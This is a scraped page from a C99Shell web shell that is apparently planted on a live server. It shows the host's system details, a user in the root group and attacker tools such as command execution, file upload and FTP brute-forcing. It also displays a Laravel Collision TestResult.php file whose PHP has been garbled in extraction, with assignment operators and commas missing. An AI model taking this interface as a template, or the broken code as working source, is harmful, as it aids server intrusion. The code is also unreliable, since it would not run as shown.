!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/qr.picotech.app/public_html/vendor/nunomaduro/collision/src/Adapters/Phpunit/   drwxr-xr-x
Free 23.49 GB of 117.98 GB (19.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TestResult.php (4.44 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
NunoMaduro\Collision\Adapters\Phpunit;

use 
NunoMaduro\Collision\Contracts\Adapters\Phpunit\HasPrintableTestCaseName;
use 
PHPUnit\Framework\TestCase;
use 
Throwable;

/**
 * @internal
 */
final class TestResult
{
    public const 
FAIL       'failed';
    public const 
SKIPPED    'skipped';
    public const 
INCOMPLETE 'incompleted';
    public const 
RISKY      'risked';
    public const 
WARN       'warnings';
    public const 
RUNS       'pending';
    public const 
PASS       'passed';

    
/**
     * @readonly
     *
     * @var string
     */
    
public $testCaseName;

    
/**
     * @readonly
     *
     * @var string
     */
    
public $description;

    
/**
     * @readonly
     *
     * @var string
     */
    
public $type;

    
/**
     * @readonly
     *
     * @var string
     */
    
public $icon;

    
/**
     * @readonly
     *
     * @var string
     */
    
public $color;

    
/**
     * @readonly
     *
     * @var Throwable|null
     */
    
public $throwable;

    
/**
     * @readonly
     *
     * @var string
     */
    
public $warning '';

    
/**
     * Test constructor.
     */
    
private function __construct(string $testCaseNamestring $descriptionstring $typestring $iconstring $colorThrowable $throwable null)
    {
        
$this->testCaseName $testCaseName;
        
$this->description  $description;
        
$this->type         $type;
        
$this->icon         $icon;
        
$this->color        $color;
        
$this->throwable    $throwable;

        
$asWarning $this->type === TestResult::WARN
             
|| $this->type === TestResult::RISKY
             
|| $this->type === TestResult::SKIPPED
             
|| $this->type === TestResult::INCOMPLETE;

        if (
$throwable instanceof Throwable && $asWarning) {
            
$this->warning     trim((string) preg_replace("/\r|\n/"' '$throwable->getMessage()));
        }
    }

    
/**
     * Creates a new test from the given test case.
     */
    
public static function fromTestCase(TestCase $testCasestring $typeThrowable $throwable null): self
    
{
        
$testCaseName State::getPrintableTestCaseName($testCase);

        
$description self::makeDescription($testCase);

        
$icon self::makeIcon($type);

        
$color self::makeColor($type);

        return new 
self($testCaseName$description$type$icon$color$throwable);
    }

    
/**
     * Get the test case description.
     */
    
public static function makeDescription(TestCase $testCase): string
    
{
        
$name $testCase->getName(false);

        if (
$testCase instanceof HasPrintableTestCaseName) {
            return 
$name;
        }

        
// First, lets replace underscore by spaces.
        
$name str_replace('_'' '$name);

        
// Then, replace upper cases by spaces.
        
$name = (string) preg_replace('/([A-Z])/'' $1'$name);

        
// Finally, if it starts with `test`, we remove it.
        
$name = (string) preg_replace('/^test/'''$name);

        
// Removes spaces
        
$name trim($name);

        
// Lower case everything
        
$name mb_strtolower($name);

        
// Add the dataset name if it has one
        
if ($dataName $testCase->dataName()) {
            if (
is_int($dataName)) {
                
$name .= sprintf(' with data set #%d'$dataName);
            } else {
                
$name .= sprintf(' with data set "%s"'$dataName);
            }
        }

        return 
$name;
    }

    
/**
     * Get the test case icon.
     */
    
public static function makeIcon(string $type): string
    
{
        switch (
$type) {
            case 
self::FAIL:
                return 
'⨯';
            case 
self::SKIPPED:
                return 
'-';
            case 
self::RISKY:
                return 
'!';
            case 
self::INCOMPLETE:
                return 
'…';
            case 
self::WARN:
                return 
'!';
            case 
self::RUNS:
                return 
'•';
            default:
                return 
'✓';
        }
    }

    
/**
     * Get the test case color.
     */
    
public static function makeColor(string $type): string
    
{
        switch (
$type) {
            case 
self::FAIL:
                return 
'red';
            case 
self::SKIPPED:
            case 
self::INCOMPLETE:
            case 
self::RISKY:
            case 
self::WARN:
            case 
self::RUNS:
                return 
'yellow';
            default:
                return 
'green';
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--